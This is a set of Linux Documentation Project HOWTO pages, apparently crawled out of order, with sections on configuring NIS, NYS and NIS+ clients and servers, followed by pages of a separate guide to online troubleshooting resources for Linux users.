Newer ypbind versions have a configuration file called /etc/yp.conf. You can hardcode a NIS server there - for more info see the manual page for ypbind(8). You also need this file for NYS. An example:
  ypserver 10.10.0.1
  ypserver 10.0.100.8
  ypserver 10.3.1.1

If the system cam resolv the hostnames without NIS, you may use the name, otherwise you have to use the IP address. ypbind 3.3 has a bug and will only use the last entry (ypserver 10.3.1.1 in the example). All other entries are ignored. ypbind-mt handle this correct and uses that one, which answerd at first.

It might be a good idea to test ypbind before incorporating it in the startup files. To test ypbind do the following:

  • Make sure you have your YP-domain name set. If it is not set then issue the command:
            /bin/domainname nis.domain
    where nis.domain should be some string _NOT_ normally associated with the DNS-domain name of your machine! The reason for this is that it makes it a little harder for external crackers to retreive the password database from your NIS servers. If you don't know what the NIS domain name is on your network, ask your system/network administrator.

  • Start up "/usr/sbin/portmap" if it is not already running.

  • Create the directory "/var/yp" if it does not exist.

  • Start up "/usr/sbin/ypbind"

  • Use the command "rpcinfo -p localhost" to check if ypbind was able to register its service with the portmapper. The output should look like:
           program vers proto   port
        100000    2   tcp    111  portmapper
        100000    2   udp    111  portmapper
        100007    2   udp    637  ypbind
        100007    2   tcp    639  ypbind
    or
           program vers proto   port
        100000    2   tcp    111  portmapper
        100000    2   udp    111  portmapper
        100007    2   udp    758  ypbind
        100007    1   udp    758  ypbind
        100007    2   tcp    761  ypbind
        100007    1   tcp    761  ypbind
    Depending on the ypbind version you are using.

  • You may also run "rpcinfo -u localhost ypbind". This command should produce something like:
            program 100007 version 2 ready and waiting
    or
            program 100007 version 1 ready and waiting
        program 100007 version 2 ready and waiting
    The output depends on the ypbind version you have installed. Important is only the "version 2" message.

At this point you should be able to use NIS client programs like ypcat, etc... For example, "ypcat passwd.byname" will give you the entire NIS password database.

IMPORTANT: If you skipped the test procedure then make sure you have set the domain name, and created the directory

    /var/yp

This directory MUST exist for ypbind to start up succesfully.

To check if the domainname is set correct, use the /bin/ypdomainname from yp-tools 2.2. It uses the yp_get_default_domain() function which is more restrict. It doesn't allow for example the "(none)" domainname, which is the default under Linux and makes a lot of problems.

If the test worked you may now want to change your startupd files so that ypbind will be started at boot time and your system will act as a NIS client. Make sure that the domainname will be set before you start ypbind.

Well, that's it. Reboot the machine and watch the boot messages to see if ypbind is actually started.

7.2. Setting up a NIS Client using Traditional NIS

For host lookups you must set (or add) "nis" to the lookup order line in your /etc/host.conf file. Please read the manpage "resolv+.8" for more details.

Add the following line to /etc/passwd on your NIS clients:

+::::::

You can also use the + and - characters to include/exclude or change users. If you want to exclude the user guest just add -guest to your /etc/passwd file. You want to use a different shell (e.g. ksh) for the user "linux"? No problem, just add "+linux::::::/bin/ksh" (without the quotes) to your /etc/passwd. Fields that you don't want to change have to be left empty. You could also use Netgroups for user control.

For example, to allow login-access only to miquels, dth and ed, and all members of the sysadmin netgroup, but to have the account data of all other users available use:

      +miquels:::::::
      +ed:::::::
      +dth:::::::
      +@sysadmins:::::::
      -ftp
      +:*::::::/etc/NoShell

Note that in Linux you can also override the password field, as we did in this example. We also remove the login "ftp", so it isn't known any longer, and anonymous ftp will not work.

The netgroup would look like
sysadmins (-,software,) (-,kukuk,)

IMPORTANT: The netgroup feature is implemented starting from libc 4.5.26. If you have a version of libc earlier than 4.5.26, every user in the NIS password database can access your linux machine if you run "ypbind" !

7.3. Setting up a NIS Client using NYS

All that is required is that the NIS configuration file (/etc/yp.conf) points to the correct server(s) for its information. Also, the Name Services Switch configuration file (/etc/nsswitch.conf) must be correctly set up.

You should install ypbind. It isn't needed by the libc, but the NIS(YP) tools need it.

If you wish to use the include/exclude user feature (+/-guest/+@admins), you have to use "passwd: compat" and "group: compat" in nsswitch.conf. Note that there is no "shadow: compat"! You have to use "shadow: files nis" in this case.

The NYS sources are part of the libc 5 sources. When run configure, say the first time "NO" to the "Values correct" question, then say "YES" to "Build a NYS libc from nys".

7.4. Setting up a NIS Client using glibc 2.x

The glibc uses "traditional NIS", so you need to start ypbind. The Name Services Switch configuration file (/etc/nsswitch.conf) must be correctly set up. If you use the compat mode for passwd, shadow or group, you have to add the "+" at the end of this files and you can use the include/exclude user feature. The configuration is excatly the same as under Solaris 2.x.

7.5. The nsswitch.conf File

The Network Services switch file /etc/nsswitch.conf determines the order of lookups performed when a certain piece of information is requested, just like the /etc/host.conf file which determines the way host lookups are performed. For example, the line

    hosts: files nis dns

specifies that host lookup functions should first look in the local /etc/hosts file, followed by a NIS lookup and finally through the domain name service (/etc/resolv.conf and named), at which point if no match is found an error is returned. This file must be readable for every user! You can find more information in the man-page nsswitch.5 or nsswitch.conf.5.

A good /etc/nsswitch.conf file for NIS is:
#
# /etc/nsswitch.conf
#
# An example Name Service Switch config file. This file should be
# sorted with the most-used services at the beginning.
#
# The entry '[NOTFOUND=return]' means that the search for an
# entry should stop if the search in the previous entry turned
# up nothing. Note that if the search failed due to some other reason
# (like no NIS server responding) then the search continues with the
# next entry.
#
# Legal entries are:
#
#	nisplus			Use NIS+ (NIS version 3)
#	nis			Use NIS (NIS version 2), also called YP
#	dns			Use DNS (Domain Name Service)
#	files			Use the local files
#	db			Use the /var/db databases
#	[NOTFOUND=return]	Stop searching if not found so far
#

passwd:     compat
group:      compat
# For libc5, you must use shadow: files nis
shadow:     compat

passwd_compat: nis
group_compat: nis
shadow_compat: nis

hosts:      nis files dns

services:   nis [NOTFOUND=return] files
networks:   nis [NOTFOUND=return] files
protocols:  nis [NOTFOUND=return] files
rpc:        nis [NOTFOUND=return] files
ethers:     nis [NOTFOUND=return] files
netmasks:   nis [NOTFOUND=return] files
netgroup:   nis
bootparams: nis [NOTFOUND=return] files
publickey:  nis [NOTFOUND=return] files
automount:  files
aliases:    nis [NOTFOUND=return] files

passwd_compat, group_compat and shadow_compat are only supported by glibc 2.x. If there are no shadow rules in /etc/nsswitch.conf, glibc will use the passwd rule for lookups. There are some more lookup module for glibc like hesoid. For more information, read the glibc documentation.

7.6. Shadow Passwords with NIS

Shadow passwords over NIS are always a bad idea. You loose the security, which shadow gives you, and it is supported by only some few Linux C Libraries. A good way to avoid shadow passwords over NIS is, to put only the local system users in /etc/shadow. Remove the NIS user entries from the shadow database, and put the password back in passwd. So you can use shadow for the root login, and normal passwd for NIS user. This has the advantage that it will work with every NIS client.

7.6.1. Linux

The only Linux libc which supports shadow passwords over NIS, is the GNU C Library 2.x. Linux libc5 has no support for it. Linux libc5 compiled with NYS enabled has some code for it. But this code is badly broken in some cases and doesn't work with all correct shadow entries.

7.6.2. Solaris

Solaris does not support shadow passwords over NIS.

7.6.3. PAM

PAM does not support Shadow passwords over NIS, especially pam_pwdb/libpwdb. This is a big problem for RedHat 5.x users. If you have glibc and PAM, you need to change the /etc/pam.d/* entries. Replace all pam_pwdb rules through pam_unix_* modules. Due a bug in the pam_unix_auth.so module this will not always work.

An example /etc/pam.d/login file looks like:

#%PAM-1.0
auth       required	/lib/security/pam_securetty.so
auth       required	/lib/security/pam_unix.so
auth       required	/lib/security/pam_nologin.so
account    required	/lib/security/pam_unix.so
password   required	/lib/security/pam_unix.so
session    required	/lib/security/pam_unix.so

Prev | Home | Next
What do you need to set up NIS? |  | What do you need to set up NIS+ ?


What do you need to set up NIS+ ?

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

8. What do you need to set up NIS+ ?

8.1. The Software

The Linux NIS+ client code was developed for the GNU C library 2. There is also a port for Linux libc5, since most commercial Applications are linked against this library, and you cannot recompile them for using glibc. There are problems with libc5 and NIS+: static programs cannot be linked with it, and programs compiled with this library will not work with other libc5 versions.

You need to retrieve and compile the GNU C Library 2.1 for Intel based platforms, or GNU C Library 2.1.1 for 64bit platforms. As base System you need a glibc based Distribution like Debian, RedHat or SuSE Linux.

For every distribution, you need to recompile the gcc/g++ compiler, libstdc++ and ncures. For Redhat, you need to make a lot of changes of the PAM configuration. For SuSE Linux 6.0, you need to recompile the shadow package.

The NIS+ client software can be obtained from:
  Site             Directory                     File Name

  ftp.funet.fi     /pub/gnu/funet                libc-*, glibc-crypt-*,
                                                 glibc-linuxthreads-*
  ftp.kernel.org   /pub/linux/utils/net/NIS+     nis-utils-1.3.tar.gz

You should also have a look at http://www.suse.de/~kukuk/nisplus/ for more information and the latest sources.

8.2. Setting up a NIS+ client

IMPORTANT: For setting up a NIS+ client read your Solaris NIS+ docs what to do on the server side! This document only describes what to do on the client side!

After installing the new libc and nis-tools, create the credentials for the new client on the NIS+ server. Make sure portmap is running. Then check if your Linux PC has the same time as the NIS+ Server. For secure RPC, you have only a small window from about 3 minutes, in which the credentials are valid. A good idea is to run xntpd on every host. After this, run

domainname nisplus.domain.
nisinit -c -H <NIS+ server>

to initialize the cold start file. Read the nisinit man page for more options. Make sure that the domainname will always be set after a reboot. If you don't know what the NIS+ domain name is on your network, ask your system/network administrator.

Now you should change your /etc/nsswitch.conf file. Make sure that the only service after publickey is nisplus ("publickey: nisplus"), and nothing else!

Then start keyserv and make sure, that it will always be started as first daemon after portmap at boot time. Run
keylogin -r
to store the root secretkey on your system. (I hope you have added the publickey for the new host on the NIS+ Server?).

"niscat passwd.org_dir" should now show you all entries in the passwd database.

8.3. NIS+, keylogin, login and PAM

When the user logs in, he need to set his secretkey to keyserv. This is done by calling "keylogin". The login from the shadow package will do this for the user, if it was compiled against glibc 2.1. For a PAM aware login, you have to change the /etc/pam.d/login file to use pam_unix2, not pwdb, which doesn't support NIS+. An example:

#%PAM-1.0
auth       required	/lib/security/pam_securetty.so
auth       required	/lib/security/pam_unix2.so       set_secrpc
auth       required	/lib/security/pam_nologin.so
account    required	/lib/security/pam_unix2.so
password   required	/lib/security/pam_unix2.so
session    required	/lib/security/pam_unix2.so

8.4. The nsswitch.conf File

The Network Services switch file /etc/nsswitch.conf determines the order of lookups performed when a certain piece of information is requested, just like the /etc/host.conf file which determines the way host lookups are performed. For example, the line

    hosts: files nisplus dns

specifies that host lookup functions should first look in the local /etc/hosts file, followed by a NIS+ lookup and finally through the domain name service (/etc/resolv.conf and named), at which point if no match is found an error is returned.

A good /etc/nsswitch.conf file for NIS+ is:
#
# /etc/nsswitch.conf
#
# An example Name Service Switch config file. This file should be
# sorted with the most-used services at the beginning.
#
# The entry '[NOTFOUND=return]' means that the search for an
# entry should stop if the search in the previous entry turned
# up nothing. Note that if the search failed due to some other reason
# (like no NIS server responding) then the search continues with the
# next entry.
#
# Legal entries are:
#
#	nisplus			Use NIS+ (NIS version 3)
#	nis			Use NIS (NIS version 2), also called YP
#	dns			Use DNS (Domain Name Service)
#	files			Use the local files
#	db			Use the /var/db databases
#	[NOTFOUND=return]	Stop searching if not found so far
#

passwd:     compat
group:      compat
shadow:     compat

passwd_compat: nisplus
group_compat:  nisplus
shadow_compat: nisplus

hosts:      nisplus files dns

services:   nisplus [NOTFOUND=return] files
networks:   nisplus [NOTFOUND=return] files
protocols:  nisplus [NOTFOUND=return] files
rpc:        nisplus [NOTFOUND=return] files
ethers:     nisplus [NOTFOUND=return] files
netmasks:   nisplus [NOTFOUND=return] files
netgroup:   nisplus
bootparams: nisplus [NOTFOUND=return] files
publickey:  nisplus
automount:  files
aliases:    nisplus [NOTFOUND=return] files

Prev | Home | Next
Setting Up the NIS Client |  | Setting up a NIS Server


Verifying the NIS/NYS Installation

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

10. Verifying the NIS/NYS Installation

If everything is fine (as it should be), you should be able to verify your installation with a few simple commands. Assuming, for example, your passwd file is being supplied by NIS, the command

    % ypcat passwd

should give you the contents of your NIS passwd file. The command

    % ypmatch userid passwd

(where userid is the login name of an arbitrary user) should give you the user's entry in the NIS passwd file. The "ypcat" and "ypmatch" programs should be included with your distribution of traditional NIS or NYS.

If a user cannot log in, run the following program on the client:
#include <stdio.h>
#include <pwd.h>
#include <sys/types.h>

int
main(int argc, char *argv[])
{
  struct passwd *pwd;

  if(argc != 2)
    {
      fprintf(stderr,"Usage: getwpnam username\n");
      exit(1);
    }

  pwd=getpwnam(argv[1]);

  if(pwd != NULL)
    {
      printf("name.....: [%s]\n",pwd->pw_name);
      printf("password.: [%s]\n",pwd->pw_passwd);
      printf("user id..: [%d]\n", pwd->pw_uid);
      printf("group id.: [%d]\n",pwd->pw_gid);
      printf("gecos....: [%s]\n",pwd->pw_gecos);
      printf("directory: [%s]\n",pwd->pw_dir);
      printf("shell....: [%s]\n",pwd->pw_shell);
    }
  else
    fprintf(stderr,"User \"%s\" not found!\n",argv[1]);

  exit(0);
}

Running this program with the username as parameter will print all the information the getpwnam function gives back for this user. This should show you which entry is incorrect. The most common problem is, that the password field is overwritten with a "*".

GNU C Library 2.1 (glibc 2.1) comes with a tool called getent. Use this program instead the above on such a system. You could try:
   getent passwd
or
   getent passwd login

Prev | Home | Next
Setting up a NIS Server |  | Surviving a Reboot


Surviving a Reboot

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

11. Surviving a Reboot

Once you have NIS correctly configured on the server and client, you do need to be sure that the configuration will survive a reboot.

There are two separate issues to check: the existence of an init script and the correct storage of the NIS domain name.

11.1. NIS Init Script

In your version of Linux, you need to check your directory of init scripts, typically /etc/init.d, /etc/rc.d/init.d or /sbin/init.d to be sure there is a startup script there for NIS. Usually this file is called ypbind or ypclient.

11.2. NIS Domain Name

Perhaps the greatest issue that some people have with NIS is ensuring that the NIS domain name is available after a reboot. According to Solaris 2.x, the NIS domain name should be entered as a single line in:

   /etc/defaultdomain

However, most Linux distributions does not seem to use this file.

11.3. Distribution-specific Issues

At this time, the following information is known about how various Linux distributions handle the storage of the NIS domainname.

11.3.1. Caldera 2.x

Caldera uses the file /etc/nis.conf which has the same format as the normal /etc/yp.conf.

11.3.2. Debian

Debian appears to follow Sun's usage of /etc/defaultdomain.

11.3.3. Red Hat 6.x

Create or modify the variable NISDOMAIN in the file /etc/sysconfig/network.

11.3.4. SuSE Linux

Modify the variable YP_DOMAINNAME in /etc/rc.config and then run the command SuSEconfig.

Prev | Home | Next
Verifying the NIS/NYS Installation |  | Common Problems and Troubleshooting NIS


Common Problems and Troubleshooting NIS

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

12. Common Problems and Troubleshooting NIS

Here are some common problems reported by various users:

  1. The libraries for 4.5.19 are broken. NIS won't work with it.

  2. If you upgrade the libraries from 4.5.19 to 4.5.24 then the su command breaks. You need to get the su command from the slackware 1.2.0 distribution. Incidentally that's where you can get the updated libraries.

  3. When a NIS server goes down and comes up again ypbind starts complaining with messages like:
        yp_match: clnt_call:
    RPC: Unable to receive; errno = Connection refused
    and logins are refused for those who are registered in the NIS database. Try to login as root and kill ypbind and start it up again. An update to ypbind 3.3 or higher should also help.

  4. After upgrading the libc to a version greater then 5.4.20, the YP tools will not work any longer. You need yp-tools 1.2 or later for libc >= 5.4.21 and glibc 2.x. For earlier libc version you need yp-clients 2.2. yp-tools 2.x should work for all libraries.

  5. In libc 5.4.21 - 5.4.35 yp_maplist is broken, you need 5.4.36 or later, or some YP programs like ypwhich will segfault.

  6. libc 5 with traditional NIS doesn't support shadow passwords over NIS. You need libc5 + NYS or glibc 2.x.

  7. ypcat shadow doesn't show the shadow map. This is correct, the name of the shadow map is shadow.byname, not shadow.

  8. Solaris doesn't use always privileged ports. So don't use password mangling if you have a Solaris client.

Prev | Home | Next
Surviving a Reboot |  | Frequently Asked Questions


Frequently Asked Questions

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev

13. Frequently Asked Questions

Most of your questions should be answered by now. If there are still questions unanswered you might want to post a message to

    comp.os.linux.networking

Prev | Home
Common Problems and Troubleshooting NIS |


Setting up a NIS Server

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

9. Setting up a NIS Server

9.1. The Server Program ypserv

This document only describes how to set up the "ypserv" NIS server.

The NIS server software can be found on:

  Site               Directory                    File Name

  ftp.kernel.org     /pub/linux/utils/net/NIS     ypserv-1.3.11.tar.gz

You could also look at http://www.suse.de/~kukuk/nis/ for more information.

The server setup is the same for both traditional NIS and NYS.

Compile the software to generate the ypserv and makedbm programs. You can configure ypserv to use the securenets file or the tcp_wrappers. The tcp_wrapper is much more flexible, but a lot of people have big problems with it. And some configuration files for tcp_wrappers may cause a memory leak. If you have problems with ypserv compiled for tcp_wrapper, recompile it using the securenets file. ypserv --version tells you, which version you have.

If you run your server as master, determine what files you require to be available via NIS and then add or remove the appropriate entries to the "all" rule in /var/yp/Makefile. You always should look at the Makefile and edit the Options at the beginning of the file.

There was one big change between ypserv 1.1 and ypserv 1.2. Since version 1.2, the file handles are cached. This means you have to call makedbm always with the -c option if you create new maps. Make sure, you are using the new /var/yp/Makefile from ypserv 1.2 or later, or add the -c flag to makedbm in the Makefile. If you don't do that, ypserv will continue to use the old maps, and not the updated one.

Now edit /var/yp/securenets and /etc/ypserv.conf. For more information, read the ypserv(8) and ypserv.conf(5) manual pages.

Make sure the portmapper (portmap(8)) is running, and start the server ypserv. The command

    % rpcinfo -u localhost ypserv

should output something like

    program 100004 version 1 ready and waiting
    program 100004 version 2 ready and waiting

The "version 1" line could be missing, depending on the ypserv version and configuration you are using. It is only necessary if you have old SunOS 4.x clients.

Now generate the NIS (YP) database. On the master, run

    % /usr/lib/yp/ypinit -m

On a slave make sure that ypwhich -m works. This means, that your slave must be configured as NIS client before you could run
    % /usr/lib/yp/ypinit -s masterhost
to install the host as NIS slave.

That's it, your server is up and running.

If you have bigger problems, you could start ypserv and ypbind in debug mode on different xterms. The debug output should show you what goes wrong.

If you need to update a map, run make in the /var/yp directory on the NIS master. This will update a map if the source file is newer, and push the files to the slave servers. Please don't use ypinit for updating a map.

You might want to edit root's crontab *on the slave* server and add the following lines:

      20 *    * * *    /usr/lib/yp/ypxfr_1perhour
      40 6    * * *    /usr/lib/yp/ypxfr_1perday
      55 6,18 * * *    /usr/lib/yp/ypxfr_2perday
This will ensure that most NIS maps are kept up-to-date, even if an update is missed because the slave was down at the time the update was done on the master.

You can add a slave at every time later. At first, make sure that the new slave server has permissions to contact the NIS master. Then run
    % /usr/lib/yp/ypinit -s masterhost
on the new slave. On the master server, add the new slave server name to /var/yp/ypservers and run make in /var/yp to update the map.

If you want to restrict access for users to your NIS server, you'll have to setup the NIS server as a client as well by running ypbind and adding the plus-entries to /etc/passwd _halfway_ the password file. The library functions will ignore all normal entries after the first NIS entry, and will get the rest of the info through NIS. This way the NIS access rules are maintained. An example:

     root:x:0:0:root:/root:/bin/bash
     daemon:*:1:1:daemon:/usr/sbin:
     bin:*:2:2:bin:/bin:
     sys:*:3:3:sys:/dev:
     sync:*:4:100:sync:/bin:/bin/sync
     games:*:5:100:games:/usr/games:
     man:*:6:100:man:/var/catman:
     lp:*:7:7:lp:/var/spool/lpd:
     mail:*:8:8:mail:/var/spool/mail:
     news:*:9:9:news:/var/spool/news:
     uucp:*:10:50:uucp:/var/spool/uucp:
     nobody:*:65534:65534:noone at all,,,,:/dev/null:
     +miquels::::::
     +:*:::::/etc/NoShell
     [ All normal users AFTER this line! ]
     tester:*:299:10:Just a test account:/tmp:
     miquels:1234567890123:101:10:Miquel van Smoorenburg:/home/miquels:/bin/zsh

Thus the user "tester" will exist, but have a shell of /etc/NoShell. miquels will have normal access.

Alternatively, you could edit the /var/yp/Makefile file and set NIS to use another source password file. On large systems the NIS password and group files are usually stored in /etc/yp/. If you do this the normal tools to administrate the password file such as passwd, chfn, adduser will not work anymore and you need special homemade tools for this.

However, yppasswd, ypchsh and ypchfn will work of course.

9.2. The Server Program yps

To set up the "yps" NIS server please refer to the previous paragraph. The "yps" server setup is similar, _but_ not exactly the same so beware if you try to apply the "ypserv" instructions to "yps"! "yps" is not supported by any author, and contains some security leaks. You really shouldn't use it !

The "yps" NIS server software can be found on:

  Site                  Directory                   File Name

  ftp.lysator.liu.se    /pub/NYS/servers            yps-0.21.tar.gz
  ftp.kernel.org        /pub/linux/utils/net/NIS    yps-0.21.tar.gz

9.3. The Program rpc.ypxfrd

rpc.ypxfrd is used for speed up the transfer of very large NIS maps from a NIS master to NIS slave servers. If a NIS slave server receives a message that there is a new map, it will start ypxfr for transfering the new map. ypxfr will read the contents of a map from the master server using the yp_all() function. This process can take several minutes when there are very large maps which have to store by the database library.

The rpc.ypxfrd server speeds up the transfer process by allowing NIS slave servers to simply copy the master server's map files rather than building their own from scratch. rpc.ypxfrd uses an RPC-based file transfer protocol, so that there is no need for building a new map.

rpc.ypxfrd can be started by inetd. But since it starts very slow, it should be started with ypserv. You need to start rpc.ypxfrd only on the NIS master server.

9.4. The Program rpc.yppasswdd

Whenever users change their passwords, the NIS password database and probably other NIS databases, which depend on the NIS password database, should be updated. The program "rpc.yppasswdd" is a server that handles password changes and makes sure that the NIS information will be updated accordingly. rpc.yppasswdd is now integrated in ypserv. You don't need the older, separate yppasswd-0.9.tar.gz or yppasswd-0.10.tar.gz, and you shouldn't use them any longer. The rpc.yppasswdd in ypserv 1.3.2 has full shadow support. yppasswd is now part of yp-tools-2.2.tar.gz.

You need to start rpc.yppasswdd only on the NIS master server. By default, users are not allowed to change their full name or the login shell. You can allow this with the -e chfn or -e chsh option.

If your passwd and shadow files are not in another directory then /etc, you need to add the -D option. For example, if you have put all source files in /etc/yp and wish to allow the user to change his shell, you need to start rpc.yppasswdd with the following parameters:

   rpc.yppasswdd -D /etc/yp -e chsh

or

   rpc.yppasswdd -s /etc/yp/shadow -p /etc/yp/passwd -e chsh

There is nothing more to do. You just need to make sure, that rpc.yppasswdd uses the same files as /var/yp/Makefile. Errors will be logged using syslog.

Prev | Home | Next
What do you need to set up NIS+ ? |  | Verifying the NIS/NYS Installation


Concluding Comments

Online Troubleshooting Resources : HOWTO
Prev

12. Concluding Comments

If you are a Linux newbie, you may want to create a Troubleshooting folder in your browser's bookmark list, into which you put the hyperlinks I have included in this document, as well as those pertinent to the distribution of Linux and the Window Manager or Desktop Environment you use.

As you use these links, you will quickly become adept at troubleshooting online.

Cheers and happy searching !

Prev | Home
Miscellaneous Resources |


Document Updates

Online Troubleshooting Resources : HOWTO
Prev Next

2. Document Updates

The latest version of this document will always be available via the HOWTO index at the Linux Documentation Project The document will also be available in SGML, PS, PDF, and other formats at that website.

2.1. Copyright and License

Copyright (c) 1999-2000 , by Howard Mann.

Copyright (c) 2002 , by Jean-Philippe Guérard.

Publication and distribution of this document is governed by the terms of the Open Publication License , Draft version 0.4, June 8, 1999, or later.

2.2. Feedback and Corrections

I always welcome feedback and constructive criticism. You can reach me at jean-philippe.guerard@laposte.net. In particular, I wish to be notified about any errors in this document and resources you believe deserving of inclusion, but not presently covered herein. Because the assessment of the value of a particular resource is inherently subjective, I do not guarantee that I will include it, but I will certainly give any suggestion thoughtful consideration. In anticipation, Thanks.

Prev | Home | Next
Introduction |  | HOWTOs and mini-HOWTOs


Frequently-Asked-Questions (FAQs)

Online Troubleshooting Resources : HOWTO
Prev Next

4. Frequently-Asked-Questions (FAQs)

Users of Internet Newsgroups and Mailing lists soon discovered that some basic questions were being asked over and over again. To provide an answer to these questions, and to avoid them being repeated continually, FAQs were developed, listing the most classical questions and their agreed answers.

A list of FAQs is also a traditional accompaniment to Linux-related software. The FAQ is the first document to peruse when troubleshooting a particular application. It provides answers to typical questions, and is a good place to start troubleshooting a specific problem. In addition, FAQs exist for Linux distributions, window managers, and the so-called desktop environments (KDE and Gnome).

A FAQ is typically provided online by the developers of the product in question, and enterprising users sometimes host an "unofficial" FAQ as well. Search for the latter with an Internet search engine.

For Linux newbies, I provide links to two FAQs that collectively address many of the questions posted to the Usenet newsgroups :

  • The Linux FAQ

  • The Linux Kernel mailing list FAQ

Prev | Home | Next
HOWTOs and mini-HOWTOs |  | Online Support Sections


HOWTOs and mini-HOWTOs

Online Troubleshooting Resources : HOWTO
Prev Next

3. HOWTOs and mini-HOWTOs

HOWTOs are detailed reference documents on a specific subject, usually following a step-by-step approach. A HOWTO is a good document to help you discover a task or a topic you don't know. It will provide you with the basic steps and the major references.

These documents are particularly useful when you decide to provide or access a new service with your Linux system, or when you embark on a technically complex project. For example, you may have the option of accessing the 'net with a DSL or Cable Modem service - excellent guides are available in the form of HOWTOs.

Authors of these documents often include references and links to sites that they have found useful. You may find the information you need at one of these hyperlinked sites rather than in the HOWTO itself. For example, I found Linux Network Drivers, an interesting site for information about Network Interface Card drivers, in the Ethernet HOWTO.

To find HOWTOs, the first place to go is the Linux Documentation Project (LDP). The LDP includes a HOWTO Index Page that I suggest you bookmark in your browser.

These HOWTOs are written by Linux users and are periodically updated by the authors. Many authors provide the latest version at a personal website and a hyperlink to the latter is typically provided in the document. This version may be newer than the one available at the LDP website.

Note also that other HOWTOs are available, the authors of which have not submitted them to the LDP. It is definitely worthwhile trying to find these using an Internet search engine as I describe in a subsequent section.

Prev | Home | Next
Document Updates |  | Frequently-Asked-Questions (FAQs)


Online Troubleshooting Resources : HOWTO

Howard Mann

Jean-Philippe Guérard

v 1.4 March 4, 2002

This document will direct Linux users to resources available on the Internet that provide access to a vast amount of Linux-related information useful in troubleshooting problems

Table of Contents
1. Introduction
2. Document Updates
2.1. Copyright and License
2.2. Feedback and Corrections
3. HOWTOs and mini-HOWTOs
4. Frequently-Asked-Questions (FAQs)
5. Online Support Sections
6. Usenet Newsgroup Archives
7. Internet Search Engines
7.1. Google.com
8. Mailing List Archives
9. Online User's Manuals
10. Online Unix References and Tutorials
11. Miscellaneous Resources
11.1. Release Notes and Available Documentation related to the XFree86 X Window Server
11.2. GNU Texinfo pages
11.3. GNU Software and Manuals
11.4. Glossary of Linux-related terms
11.5. An online dictionary of computer and technology terms
11.6. A detailed Guide to Personal Computers
12. Concluding Comments
Next
Introduction


Introduction

Online Troubleshooting Resources : HOWTO
Prev Next

1. Introduction

The traditional means of troubleshooting computer-related problems involves consulting user's manuals, books, friends - probably enticed with goodies - and, when all the former do not yield a solution, calling the technical support service of the vendor of the product in question. And, we all know pleasant and reliably efficacious the latter stratagem is. Unfortunately, this is the norm in the sphere of commercial proprietary products.

In contradistinction, Linux, and related distributions, utilities and applications software, has largely been developed according to the Open Source model, wherein developers have used electronic communication over the Internet - typically in the form of publically-accessible Mailing Lists - to collaborate with their peers in the refinement of the associated source code. Such collaboration has also traditionally involved the online publication of user's manuals, lists of Frequently-Asked-Questions (FAQ's), knowledge bases, release notes, formal guides such as this document (HOWTO's) and tutorials. In addition, users often assist others through the forum of Usenet and other newsgroups and the posted messages are readily accessible in the form of searchable archives. These linux-related newsgroups are renowned for their high level of user participation. In significant measure, Linux may be considered a product of the Internet.

Considered together, these resources enable access to a large, ever-expanding factual database, and my intent is to encourage and direct the reader to utilize these repositories when faced with an issue not addressed in the documentation that is included with each distribution of Linux. Linux veterans who assist newcomers through the forum of Usenet soon become aware of the frequency with which certain technical questions are repeatedly posted - questions the answers to which are readily available in one or more of the existent online repositories. So, to diminish the likelihood of being "flamed" in response to your posted question on Usenet or irc , read further!

Armed with a browser, Linux users may rapidly become adept at troubleshooting their systems. The key is knowing how and where to look. My objective is to guide the user - particularly the Linux newbie - in this quest.

Prev | Home | Next
Online Troubleshooting Resources : HOWTO |  | Document Updates


Mailing List Archives

Online Troubleshooting Resources : HOWTO
Prev Next

8. Mailing List Archives

As you might expect, there are a very large number of linux-related Mailing Lists that enable developers and users to communicate and collaborate on projects. These Lists cover every conceivable aspect of Linux, from the technical arcana of kernel development to the relatively unfocused discussion of issues at the newbie level. Subscribers to a particular Mailing List are generally very knowledgeable in the List's topic, and detailed and useful information is often retrievable. The communications are publically accessible through Internet search engines and in the form of online Mailing List Archives. You will typically see archived pages when you conduct a search using an Internet search engine.

Not all Mailing Lists are associated with an online archive, but this is increasingly the case. Similarly, not all archives have an associated search engine.

Initially, try locate the Mailing List Archive you are interested in by typing a keyword/s and "mailing list archive" in an Internet search engine.

For a listing of linux-related Mailing Lists, peruse websites such as the Linux Resource Exchange and the Linux Online Mailing Lists

A relatively new, excellent Mailing List resource is Geocrawler (The Knowledge Archive). This is a continuously updated, searchable archive of a large number of Lists that also allows one to register and subsequently post to any particular Mailing List. Its user interface is simple and its search function delivers messages very quickly. I highly recommend this site.

You may also find Mailing List archives at the following locations :

  • The website of the distribution of Linux you use.

  • The website of the Window Manager or Desktop Environment you use.

  • The website dedicated to the application or project in question.

  • The Mail Archive

  • Mailing List Archives

  • Tux Mailing List Archives

This is not a complete listing of archives and you may find additional sites with an Internet search engine. But, this should certainly get you going.

Prev | Home | Next
Internet Search Engines |  | Online User's Manuals


Miscellaneous Resources

Online Troubleshooting Resources : HOWTO
Prev Next

11. Miscellaneous Resources

In this section, I provide a number of links to websites that I have found useful while learning to use Linux. This is an eclectic collection, but keep these handy.

11.1. Release Notes and Available Documentation related to the XFree86 X Window Server

This documentation accompanies each version of XFree86, and is available at the XFree86 website. Whenever you have trouble with your X environment, peruse the notes applicable to your videocard and chipset. These typically provide details about the configuration of the X Window System relative to your card, and will enumerate any "options" you have to include in theXF86Config file that governs X.

11.2. GNU Texinfo pages

A great collection of pages is available at the Geek Girl.com website. Included are links to pages on the following:

  • Bash - The Bourne-again shell

  • Configure - used when compiling programs from source code

  • G++ - the GNU C++ compiler

  • Gcc - the C compiler

  • Libc - the GNU C library

  • Make - a program for directing recompilation

Note that some of these are included in the "docs" that come with Linux distributions. In general, these are detailed technical documents of particular interest to developers. However, if like me, you are not a programmer, you may peruse the introductory sections of these documents to get insight, for example, into those configureand make commands you use when installing applications from source code.

11.3. GNU Software and Manuals

Many important programs that are frequently utilized by the Linux user are GNU utilities - for example, the tar (archive) and gzip (compression) programs. Descriptions of these programs are located at the GNU.org website where many Online Manuals may also be found.

These manuals typically provide a lot more information than is found in the corresponding man page on your system. For example , compare the man page and online manual for the tar utility.

11.4. Glossary of Linux-related terms

The First Linux online guide has a nice collection of terms and definitions, sorted alphabetically. Go here if you encounter a term that you have not seen before or do not understand.

